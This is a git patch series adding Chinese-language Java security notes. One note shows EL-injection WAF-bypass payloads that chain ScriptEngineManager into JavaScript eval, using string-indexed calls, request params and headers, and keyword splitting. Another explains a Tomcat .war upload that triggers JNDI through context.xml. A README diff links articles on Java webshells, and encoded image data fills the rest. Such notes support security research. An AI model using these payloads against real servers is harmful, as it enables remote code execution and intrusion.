"b/17.\346\250\241\346\235\277\345\274\225\346\223\216+\350\241\250\350\276\276\345\274\217\347\233\270\345\205\263/el\350\241\250\350\276\276\345\274\217\347\273\225waf\347\232\204trick/index.md" @@ -0,0 +1,18 @@ +# el表达式绕waf的trick + +在 el 表达式中,可以使用 `a["b"]` 或者 `a.b` 这两种方法来获取属性的 + +如果把函数名或者属性变成字符串,那去混淆就简单多了,比如 ``` "".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("payload") ``` + +可以变成 ``` ${""["getClass"]()["forName"]("javax.script.ScriptEngineManager")["newInstance"]()["getEngineByName"]("JavaScript")["eval"]("payload")} ``` + +同时支持param与header读取 + +其中每一个字符串都可以使用 `param.xxx` 的参数来替换,或者使用 el 表达式进行拼接转换,比如 ``` ${""["getClass"]()[param.a](param.b)[param.c]()[parm.d](param.e)[param.f](param.g)} ``` + +以上payload可以使用header做替换```${header['host'] }``` + +对于关键字过滤也可以使用+=绕过 + +```${""["getC"+="lass"]()``` + From 3ae05f4b786b929e84f7010ab767debd6a77d779 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Fri, 9 Jun 2023 14:27:27 +0800 Subject: [PATCH 014/113] Update README.md --- README.md | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 70b6b68..7832077 100644 --- a/README.md +++ b/README.md @@ -324,9 +324,15 @@ - 表达式 - - [普通EL表达式命令回显的简单研究](https://forum.butian.net/share/886) - - [一种新型Java一句话木马的实现](https://yzddmr6.com/posts/%E4%B8%80%E7%A7%8D%E6%96%B0%E5%9E%8BJava%E4%B8%80%E5%8F%A5%E8%AF%9D%E6%9C%A8%E9%A9%AC%E7%9A%84%E5%AE%9E%E7%8E%B0/) - - + + - EL表达式 + + - [普通EL表达式命令回显的简单研究](https://forum.butian.net/share/886) + + - [一种新型Java一句话木马的实现](https://yzddmr6.com/posts/%E4%B8%80%E7%A7%8D%E6%96%B0%E5%9E%8BJava%E4%B8%80%E5%8F%A5%E8%AF%9D%E6%9C%A8%E9%A9%AC%E7%9A%84%E5%AE%9E%E7%8E%B0/) + - [el表达式绕waf的trick](https://github.com/Y4tacker/JavaSec/blob/main/17.%E6%A8%A1%E6%9D%BF%E5%BC%95%E6%93%8E%2B%E8%A1%A8%E8%BE%BE%E5%BC%8F%E7%9B%B8%E5%85%B3/el%E8%A1%A8%E8%BE%BE%E5%BC%8F%E7%BB%95waf%E7%9A%84trick/index.md) + + ## 18.各框架对URI处理的特性及Trick From 08a280742191f9ae5d9e305183bd53879b35645b Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Fri, 9 Jun 2023 14:35:11 +0800 Subject: [PATCH 015/113] update tomcat-war --- .../index.md" | 38 ++++++++++++++++++ .../index/image-20230609143414113.png" | Bin 0 -> 129888 bytes .../index/image-20230609143451160.png" | Bin 0 -> 232670 bytes 3 files changed, 38 insertions(+) create mode 100644 "8.\345\205\263\344\272\216Tomcat\347\232\204\344\270\200\344\272\233\345\210\206\344\272\253/Tomcat\344\270\212\344\274\240.war\350\247\246\345\217\221JNDI/index.md" create mode 100644 "8.\345\205\263\344\272\216Tomcat\347\232\204\344\270\200\344\272\233\345\210\206\344\272\253/Tomcat\344\270\212\344\274\240.war\350\247\246\345\217\221JNDI/index/image-20230609143414113.png" create mode 100644 "8.\345\205\263\344\272\216Tomcat\347\232\204\344\270\200\344\272\233\345\210\206\344\272\253/Tomcat\344\270\212\344\274\240.war\350\247\246\345\217\221JNDI/index/image-20230609143451160.png" diff --git "a/8.\345\205\263\344\272\216Tomcat\347\232\204\344\270\200\344\272\233\345\210\206\344\272\253/Tomcat\344\270\212\344\274\240.war\350\247\246\345\217\221JNDI/index.md" "b/8.\345\205\263\344\272\216Tomcat\347\232\204\344\270\200\344\272\233\345\210\206\344\272\253/Tomcat\344\270\212\344\274\240.war\350\247\246\345\217\221JNDI/index.md" new file mode 100644 index 0000000..404b2f5 --- /dev/null +++ "b/8.\345\205\263\344\272\216Tomcat\347\232\204\344\270\200\344\272\233\345\210\206\344\272\253/Tomcat\344\270\212\344\274\240.war\350\247\246\345\217\221JNDI/index.md" @@ -0,0 +1,38 @@ +# Tomcat上传.war触发JNDI + +首发思路来自Firebasky + +绝大多数时候上传.war不能触发解压(具体原因这里不提),因此不能做到解压覆盖原项目文件实现RCE + +同时在不能上传jsp文件时候该如何破局呢? + +思路来自我之前的博客,具体原理在:[https://y4tacker.github.io/2022/02/03/year/2022/2/jsp%E6%96%B0webshell%E7%9A%84%E6%8E%A2%E7%B4%A2%E4%B9%8B%E6%97%85/#%E5%8F%91%E7%8E%B0](https://y4tacker.github.io/2022/02/03/year/2022/2/jsp新webshell的探索之旅/#发现) + +简单来说tomcat在解析xml文档时能实例化类,并触发set方法调用 + +在org.apache.catalina.startup.HostConfig#deployWar方法中如果文件后缀为.war就尝试触发部署操作 + +![image-20230609143414113](./index/image-20230609143414113.png) + +在deployWAR中,在部署war之前的检查中,有对META-INF/context.xml判断文件是否存在 + +如果存在则触发解析 + +![image-20230609143451160](./index/image-20230609143451160.png) + +那么就可以配合我博客里提到的payload创建context.xml,写入payload压缩打包触发JNDI + +```xml + + + +web.xml + + +``` + +Ps:配合[https://y4tacker.github.io/2022/06/19/year/2022/6/%E6%8E%A2%E5%AF%BBTomcat%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%B5%81%E9%87%8F%E5%B1%82%E9%9D%A2%E7%BB%95waf%E6%96%B0%E5%A7%BF%E5%8A%BF/](https://y4tacker.github.io/2022/06/19/year/2022/6/探寻Tomcat文件上传流量层面绕waf新姿势/) + +绕waf效果更佳 diff --git "a/8.\345\205\263\344\272\216Tomcat\347\232\204\344\270\200\344\272\233\345\210\206\344\272\253/Tomcat\344\270\212\344\274\240.war\350\247\246\345\217\221JNDI/index/image-20230609143414113.png" "b/8.\345\205\263\344\272\216Tomcat\347\232\204\344\270\200\344\272\233\345\210\206\344\272\253/Tomcat\344\270\212\344\274\240.war\350\247\246\345\217\221JNDI/index/image-20230609143414113.png" new file mode 100644 index 0000000000000000000000000000000000000000..e4c2fb67909d55da424f33da66aa9a8a2ae7c4e5 GIT binary patch literal 129888 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 TSD|Fr2HpEFM{)^>a?Y_T zMJAJjcH3gvN1hE1H3%nK#;hsn=r~hY@201xmq+ew-TmBOKyGj5o7Uc2dR+Z}YWLk# zS#6grWZ7X$m=S24j7D*g zYK@%?L?mfxI`tXQkM{L7AKp8Ja-{IBN`TRR5*X zH~-~Jx5is9Sx&1<84Vkoi^b=a;`7{olj+_aLW(Wk_??zZliO<}s;K`j(LV z7IVO~!-9F?}RC?AjU^e^A zKUwPc(5$_H*AAYKO$0S^5GA9G)2Lz;b0j9CO3k+Fs;V&(BS21z^hs#N0|bLfdYEF8 z-|ZMs0t(Q!b1uqB!kre+Dfpgw=l7pJc`&}d`u3g*kIs)`ESBF`9)5D;bNAgFbClGY zq8cZD^M9DFf0+lT$sc9{d)#}-sLp*0JU+W;*mFn{kQNZ{{UJ5ru%|{AN=dn6;msWx z&x@A`9$3?p=xFUP$h5~Qrz7vQF6+l!=gwH}$x-o?hK&G>uVIoSw?@58x-fhDdpn*x zLqq2!))!3f{K;4TJvqf+L6`X`*>VXGQzdP&B7*DT^ll@_a>zq_NdWL0&C&l0%uwVF zYU32&MlFcV4A91C#jz@0Xn%&=T`Vtp_}H%c;o{#N^KDVUkbPYhhxZ&f! zM>lFWEJu`5dg#Sv#I3bnK9lE%pgQriq1(0D=Q`_tWhd^9Xj9CO{7aQ*K3-5yE1|1?PNV?^lg+NH$4-K?mtqhPWiPfgznA>W_`EHPpD3BqweZtWu)iM$?bs2bpoV!@ z`j@c$Zy2G=<5sKv!h_!`fsQS~Om(X3dyn(o(pLm!%TW}pCKbO_kuQV8iGT4St~`BI zJB?IOqswu+xEW;FYRWYi8IzKdVj}Xmni~FB$g-C#R{C<9=^L67t>_C>3gzsVnE3ek z4f;&SZ7B8cq4Sd88umDXcd-a`)zFoiCVJ(^*NLOGx@v0o{3aW7p1QOYJ}fVf%y+k7 zoKgFWLl&Q6i6;;He3WG2I1ff7td2idv@kc%bU?4KuP;tEMO?XhRbD52L-t*7Z&qm9 z1)jhQe?^sJz=P;#OFRV``jH$fW6zF>>SEPJHG-tb%{4XWFsV9GyXq6ok*~lW1hkLL zI!{g4rtjUtGyjO`w^}bsC=FYnIYQPi-~asivmehjhb$pktxuP?l2Cb3KhO#ZU;U%cs7 zD~503EX?Ro1T&&@j=twD=g5U?hmk^3J){o4PrxZbCyh#yVjmwC@bqQQYu)F5*}DYrt_W?xHWbN6Z;H~Z%&jsXqJ z^xtJ71o_2_7bkUenwmfJm_hW_m`2)^QBqaCh>0rD43^*fey_#65l!5Er#4kq6vdF6 zXb3D-xH%*-zqvSAoh*znXNr%xaiKVZen@V;7>M+pYHsQgcoq8X^36tx+Os!(W@FiT`P`4x_CSXI9^vn#e?P{n*0B6B zCZ%xM{bG~c>{6vDdrAU_p3$%*|uIn^BO4;ekmJ69~ z#Ytpxe>6DuKgjt9(5o_HJ^;}Hq0Qs#>FFt2Td<0G$f5e%Gxj(FCf64_;nBOuz169G zUq%Of|JK*37MICWsz_wUWW=|ojhRHa^rQ^M3zHStG(C_E#{37b;AeUTI^>>8qw1@- zRW86hBUd-K`(QV_>dO|)`vfxP;J@sRk&_x*`#aytr}np=FDmZOD!%{x_TC^flHRVI zdnyQ?zO1HN-dFXvD7yUHa9iK+M=?`w{XrJ7Qgtn@JZTx3!Oi87!8pJHMtH}3A;yG-Wk5(H)jwWt{Z-DumB zonE|6(+kO6jcPtvtoCp0VPa52)kw>MaM}OG8UM$*91CLF zX&2!v^)5gizG-q2GqhHG$YSE**?+_SyUY(+2Ri2b<(z*J)>aJE8aA%*efSs-D%pxY zbn`hZCzvn&yj0#_uF>(_5E*%-QM25_C7pM{4bMSt%9p>r(smF z_UZl~dsHty2Q8V#jJgrrT_QIxybSt$_GRQw$Qy#2n%_s+cG!;G^U!aTH~?_WjRouQZ%sem|6HFR%#cLoBUR~_$-uuPs|9wP zT^w>!_)z=B=ZEQ0O86yCPR`HPV%4UArjb!8@HJuR(#y@M?|if+P&S9Enws6DWP+?f zx~0>lOY*aV>6VQFGlt>6_I?bq!?Cv}!{$=!{HK~vs&2i1;PDt;xA&L1vbF^(n$)5b zMoh7l71M#QHn6-`TL> z_{Cp-AB_I;WMQV$N8QZjnfZ2DIz}l$c546yf8eq^D|jU&M0JgD9ut=lx;l0t&JTlE zwk7uc9lI+a)-d6_h3~C6xRL;P!CLJcAyY#I^p=d-U)Kk&nM|-u4f?kD3dE)lU?HMp z6Cf1jVRq{R>A!MIBPOv^Jvnqy3O68L3{%yNd{F)uL-uRnRtp55mHo}T{tM7e?=b;q zVXL6m#oFlQ!ZD;*CFKk=8q`Pbn44=}0X30H^ne}UnD zfrjgi-&XURT72=Jo=9I1bcpgY#?$66e(*1h#tj^0TJ&XP`TSq(_+N`~XXaEd1G7y2 zIzhj$@_)wsKV$x*EB~Ko{$H5?BZ>Y$%>4g10ijEmU;ft>TbIwe1_z%qxm=w(UhjL% z#Gb+kr#86!Q<&0nnfaq0(=vYbcLI4PO{%H6&6HLLzkd&M)PuIy`%e{ytk7&~+U*^k zzGnV86}D!{6f4z#PK*Ia^}~UwhHStC?j{6*JwAmBc5+;grrZ*N!5A!=tWtVgnUj9u z8mZ!YTXc=wT?hA#)s+>Wm(jnX9O~x`i@uH4mVesY`BA>Mwifbw;yDWtS^pS+beAdX zbZ@5yPM96eS7CCqzIf~2MAF;v$II-x$jez-S=~3OUVPMPM<@PEqEidkwxJ_gq!IfQ zV@EdQ(hG(Mz5Dw9oboz;a}4d_VJX~5E}-qZj8$P7Q!$Y6gUFhaX#bMcUhHImV^!4@KBNlCsXM+p*NvO`s?@7hs3c~5*2aBK*3wFlj>Xv=Y z-}KtIRtWuDWM*F5oT<5d+}QVDUIBkAbLk@b_Fm7D%9cE>oF+8bM08$}NM>p~4f!Lq z&-q`lloRtD^?45{%PbN?a!)y&1lylusA_&G%dl0>z$!9V(VWP`y&1{it?pt6QNKHX zoEI1uZr}J3`&{0|qX--np-<1AKH2u&@wwmKX;nXd1>Nus@84?*j=~?Ma^jj678Vas z>0)YJ< z5;(MUVVSwe2@-8PfuCnCLb^94LFK07;zQzvK|1<9?WnYQZFlp4y|(I$?U!hs0?j== zJ!MQQ9*XdhR5KgGy@OCH6fq|fU?a!wU^ZV^{L#mYqnQrQpq?}1qumC9jrAfKC&e%B zZO^6u*5=|_Yr`NB;QT}a8LAJe$l=BVn2h+DaX?{=rhzwx6Ivz>ZXQj_QS1pZl#*)Y z$-^YIhJ#knAzV0YXXhL>UGTnQCmBO+c{*NFG}A%5vSPa}pQ3tA07C>++ z*mKtww87VsMxBYijO6t^Uu4#+O}RK^?=_#APvKA%y~RPyT+y7moqAt`K)~KiJ_j^) zt?fmu{o!;wpLyZ^!L;mEAz(C-xk>iDGFSzl+6*N|_k^K$-Af&W$9~Q+_2EAx z6kHoq84wn6JZ?7qOa{{Cfq(A-d<*KnStpJ^oYSf_u9^!D=dY3mi?w;-KY&^|^i>As z@r%Mwu1Qk)mFAH#9>W}j!6@b0vtR~lI)7SYxeaQAh+_vmV@i0-Kh5tw;j>TIO$`J| z^5wgBm>a~|8yoX|h7RNx*amQ|@S-!;T(A}7?s zIA(T~&20qRChzPF2~Lcxe9kNR~SLs8uAvUj*eYTyn&WBA0`P z_`2~^6P)k;8ME?Gu5$xR@75=BnL%wKrBBM4Rs!;<=w!cOKHeDEUHcrDO%>eza4?j_ zL0Bi<#6Fho|82A4z5~1p@4}IPa_w^XySsq`Do?Z%LLsjN#)jC zt(v~E%NI|B!Ag>nX~y^qJ)J304;7Y`N_>3M(N0_U0O&lY!^MyGKBR2(kKBS#N~ScP zFOEDy9DdTq-V1%o?lHV37x#kBKmO@ai(6^n8;zs_Q#T^xW}TdbXmf__+c4sHg*W+w z1hj&NOU_!?v!swX|I|%}!yjYUb(#GO#Wh->@-YR zyHiAglB;Er;-gC4GBPv}gvhQeF;h4(RQFo~l}z*YopmJ8Yg4Ep8m9Ys(hlfxWC~!$J|&{gunGa_G3Ui-BDEgD+gz921lVRB8#@wPPr8FkVCgm zP)|Uk6{a0Y^9`1}uT4LcyQYg`!CD2hF>s!@*--lNrLrijc<3DK)^rN&wT6Dn_ngrS zgfl%L?)#6I)I4S1K8v{qq$;b*revGC!=uh+nLDqZqrVnZ-YW6k?$})EOycjmi9W`- zyMCtz`&7)T=(=;K-5B~GK#!LRdW?!Q}CTYEXyKA#{N+m>o3oW?MALHN0+aV{!0-2utMHX=!z< z{vz{$mOI9gBB&`yW_pi8)^tKl+^y3t;!@LgGI%y!S6;^%E5f-AomK8=Bd6j>aV`nO zt(gJeF?Q7`D2LE3kv`7q2cveb-! z!2Ei66q>zW#A*Uf+4@ zxM_@tSb#*BrG8V65~Y|ht?3Ej0M|%f3dEv|npdkU=|eej;;*y5<+Pm0`A5=OKy6b=VbQceq|ci7dx*_Y786oT)AlV*!O}M z$@i#wy=L==5LyOQ$u(j75D>mhFZIn#YA&0gqZ?60ZPmH5yw`o`73Q?otnX60^Dx*m zvmw#iqYmv^XfnTQ#kKw<&1p-F4&|V(F@=3M6-m|ndr!X0cNYyrwNvPXc$z6nT@(zZ>d5tA_O zDetBxF)M(W0YGe9l;hVW4zx|e(a+wzo=~pok8gTN~gIZY^xG+csLm&_Y2i&82A zL=VN2IwWVAEgp8p%JsGnk%0=ndHMO~jaD3MF*O7zfeq~GBWde}js)vxGV6Cfnm50D z+&n2o4Zh=z8p7>)cbHNEA!|8Q{N<+bXQWuqy7)a0KA(zvL|A)RxlYgawL=uyzQB#o z%<@T!I%SRM*ey|E>|$N-aPTYm8fjjnRgpH}4>tJZc62P(s!Towrn1t}lBedMHEQc5 z1M83)+oK5kAHr<&Uf+_eQywO>2pXekHF4Lad=ev>DZ{4&I^Hv8m|ya3`mDoJYsiKR z?P`4)*PObshtG|m$#ZF2w_;hhM$`Q3l7jy%HtI)$ZwTg8rB8)RFl+OCEWmdkLQ}-g zL3WSITErY7$0OEE`3-zKMM3Jo1+WU}6~{&DtJn6`Y^7?K=1tQQS#@taq#Fmo^`HS` z2f9Ytso*mHibR$d&dlCofUY)$dkq9-N_PM~+|8x*@D8#4K&}$*ae8_XAx~s5d)iWG zL#sr1nO2r&?=G`66NY{0MABChA8-)|oNFH3@8D7Gs#2lguU*iWyL*G4s2XoUf#Ii8 zh1CwC#$HD)wW{h~9PiMj4d@OF?I1ayE^$(A*gf4)CGQ9Z;7i+6@^1I8bKhtGvT=+$ z!`=?vA%EcRxELHbqS(Fg(q_1N*g|qMp#ARH87)$^sSJHXnb~4y%H8;E&E5 zoC?&gC!dLKJLDKRF*C;62g}=jgZ%WU??N6q?HjFR>P_ancB`0BwBrNHT#1MijQ>*z z6?O9;_(z8%X>DPXj(x^di(T(ph+rdnUNDfhX0L%caH@A>;kD$GbN&>SihW+6xd9r4JrX$8wX(2I>?(_UR5Z;`{I0z0Q;4aAW zbAcDXYm>FNO>hN_?ELt4Z(1j0W?YtNqezwT=$BFWX>Ll>2ef*DKn!URw>?QOj8vvr z$?A3oY2=XRqBz3}1gQ#LuR_a!REJ+#Y+FURhA@4ze(6LlmBQ5n4 zX%GC=J5oLC*o9ZnS~>Nzp=#>+L_ddga#&olLrBUF=PdBPK7dt&H} z`rDO7zB4NOx7Y5e))qxp*`DZD4nbqkPAFFxx?)MOp7iDvE-bS%W=$l zlMfK8EloF%$&Jy$xq`Bp*laM3FU%`)(YU3?xm z%`QG8WZ%6s_llru?t%5uL?wVE13zlnBRi`?MQFAqg%aWchf7$1obIqauw51*9}FNI z-;PN=ErQas6DJ4Tsjc69-PL%*lL4*PkP(Y^aTsVhI9aW+T z2F1EFeww?m{h(X}Q(L*ddJHe}r@3KK7-D-~q|_2cwK;>FqWB@s7h9R;zcqM*k*aB5 zExqE-tG6I2=926}Bh0~gkL|K8_2Cx{axDfH()D~20 zWN)x79$=x*aLhnLucmdAg-MJh=rX14}DNsH%b3yTwF zfG*SYPyQ|$-SiPPG$NJw(jI;b^FUC=UqX7kglB=vLly^JpaLX|R}j`mJ4T1*CTtql z<>PF+1Gw5nN+zCN8%a+0sXi#NAx9iLx>WwPqDb{NM7Sbd#PGD1)`!S#TvHgk0&j?y#Vb~Iq|ar)`H*ecI`gr3Rm5mwz$NwbPm$e<6my4_ zX|th@QdZ#uWte)#3+|~m+wA-dK#RSX50Xd21ubIpGJ2Y}DQufNdOH#x2a4=; zWpcW4rR58P?-9wc&}~Y{Zc-;XQzo&6obFk>_HM0B_)8T!vGX>%VSmPoC~oY!R4iJD z+c$vCg~gNcy?=E2VpS&ZzdCqWQvw&xPiR$RamBZT5;=hUyGPY6ZoP!#!sFO5T?kb~ zr^&PkP9_d%oN$%?is#cb4iVE*#m`0U0~4#~6=cIPBy>t8G>^ew+S4aV_WQer@$7nP4(JFk$mF?ZH!K$u#RF1huAS4DeaY z*+P8nj~a`Q^l{@a8ZomeL_hMOXKdXr?cMYt>tTzVz_A2jacyxP33^*vNSi$6By~pd zCu4Kj1XPl$)F!Zpt4^&96an?YWKutq)14V?Q;@tzc+PnMkZ-;t9Q|lu%T(8HJY96@ zp>LZQ{Bb+X6V{QTu1gzCr_aK|Tv>LRH@6`9)Tm57YjrygzQK#Gke?h>%a6|I?Fo1d|A*As1cs3-?V=Y_L08Yj z#HhA~$H9U?OB|MxX(TCY7jEw#?;%TVs%@Ahg8+i7nuHY?Eq-z19JM$tNk1Gc2I}N^ z7%KnKxU~SFyDUx|7^dj!5h2VTP4{8J&kLNGPreapD(t~VJAEnyU<&A`gw>vYf2 zcMYZ7v_}Vz(>%E(2?JsvLB?^|wB+XPD>A-#Me2+TSn=H$e~A^XQ~?d@6`9JO#`}Z& z3Ce*y0ov}OH)$pI+oz{8&J6I@r3a72E16-ieTBzW zDBdZ5ZWt|&V!HFvh)lQ??h+IM6KV4S4uP1`0s_X8fJ%tpCPS$lrnZ6xSMk#xovgt3 zJrV{z94t@e?S0C6qeO(G_({|$aO<2TZq4#Q$F%vag5We%+?7N5G%HeJv%Zt-mxG@x zkHyIvv+N?&q<1^LKymUYpYyT1B7(j~fMOTfSYJk5h`9N!yl2pHX2;+`GBCnTWmtIc z+OE^#6ZTZU3x_&F)RMM3cv;x*$EyyC?Gm?I$vG3=TB{O?*0C-gV?){W=bAjOUFx_i z8zvVz@AtV&^F^jOQvmaTeep4yA0*oi;r&`M1v+cdOjnpkK1q>LP*ZoeQ`2+C>I+O= zlF*iq_P!>yG)rp`ixce*JWjY~NK~{Ry!XlVY{3xgwUrC}J0)qbDYD*}5gg4#A_lAD zz!cF0JFnSgj*K&7B>B!5(Qe57vA$}}3!E@Hv^-OLnW+vLN$JO^$HjrM{0M1v_&0&& z-(Y=;#j6v5d3zpiW!j%J>JC-{wJaYBp!nlIiSx8_>WYg&JH48mlj{>n2|8)w3ziSx zWsrDfGh~e%_-2pd_Azox?s}UbvwC#OQ4PLGL!E8Yn@jgwICdp1Nj^s7-FY!cousXU2J{+7axkTb}OGIduz-pDihWr6fZ6!{p#TY!~7T=GHsV!8Z ztcmZ&apS+fOY@2dz(WmL#!nBK{pvKY2_dSpx#8y|O%N>^{&k9Ra&cUkZKc?xW)9?u zmGk$8_$3UtlL&2LZI<98AJ9ieVyy@#-Zh*Q8~m!W3kjPMY&Wk<^duZv^)YsoWmUvV zsMVmOw>giE^^k{zXYC0(1D2SYz^5~kpViaWiEF&;A&r&(w>aQ$%DmNz+}_Yi(-&-? za+5lv$IKkEGCi3++=)sFh$MPq@%g5-0EMmT)>An2g4RmHEmLP=gt8p1rnkA`&RiGP z&wR#~=#PEPt2}=q(zJvJD>3M$a3+&iVB7Rd?LQzu^KS$gR|}WMS;*)ka$*7-*HemB zSAO!*yCYu>gmVR0e`A@w$P+J-!VF@3>ipdOCtJCgQk>EeVcYGRCz1j{TC z+hGc}PF1Nn!uqo<7JXBOk4uZA$CfwJtc0l(VTBJI8$)R*FR$>rl{iQDM{l3i5kX0t z=zz7Ws_z|H=6wn_tqRR+7u$Osj*b{cqh5LQ=LB~T3fP~##=EulOp`}F?IrqSfXJ5n zZX(!tT)m#*NA?>Zul_zzv~i_Qcpq!pgXU7n%8{eYi9rdl!Mcn?zF)MNU9xi`oN!}g zCwVEXT|mMg{2eQ8Q+OR8PBIbAsEB2dgv}l1?Ui?gZHb9X+X)&YYLkMd&LVAn>%BEUmvn=9Oc6kd zNzJ0{Vn>@!-YQlJhPv{&#e{R5luU-6l%biEUgpsI%?kFkAIb-i#46>d>(+%0K$ITh z{Rw)pw$l|gE>~#fkuF{qgqR~WP{fL<-(~GfG6QAf_@=3~9)oQl)qG;e#3jH-%kAKl zdV=Z&6RD+kww%q7B*x=aPf=(xA$d$l+37U|jLh;|<8pmY#D(c##A#W6F{ z4Rl>jz0wz`y}E!~!kXTxQy1!OT)-!hDz%zC?L}@U&^{Naf+L`~6UyU@BM^$K2s&wt z5?1_#nB>|4t4_P#aE{G}%cd~6-YwYF?DA0uIb!j6!_2zS6RxZyk7VC>TLx>X8ht8u9uONN9>+Q=2AYG> zw1d%?I3nwiaVpt1g>!h`xx#vcf_Snx$gQX*HQjopvt@JlTd>}Wx7LeXZ}#>Rd*+Tp ziNvD}!n#n=sMuUS`U-qp*6613nPH(<1K&0@6d;^(R_^ddzmE+z_HMCG7HxMK?E>Rn z7pBlIbK6X@XvT?<<3pRb_vx1*VD8+x^IDN|bbKx4njjGF`!&Sp;`sE-KQ`*Lx-$EC zxU;H)8!=p%bvhVe7ElnQ zp?k+It_Vai;^MepIpC7^K%0u(IRL#4(8ApuyL_0-5Rx>l9m%Sui!Nert%?9L!15E) z*e~|Vo9i#gC$N&_BF#6ejJWS$X^&w!VX6eazZ}af{22+CKKa0yG4cz=mQE}jTQPoU zzH#Ak)IlwJD;$JiaJA49ceXq*@r{|Mk=ywU4haX$is-wFyYa3GL37Fd7LFbB zQHrr{3eb3O_-f1ncRr!$7pk|=#MXRduh;M>HEb>%*wT;%LU#vU4p?<_3?MQpY8?(v z*;6#BcYcZ_1@Bg*Db}|MZPl@~bbaX5W!yshPrST<{iMD!t(YEHX7T4nG#rDE*{|gR-a5r95MAH|hYl@g{0Q)q*attP}! zG5H7`p(!_f3#iY{v{TU;G zw!Lyrj(XTqQZ$Ekb1AzxC%nVle4VT*%s)@Qu8GOh{v>?4{-Bh0Lx~ 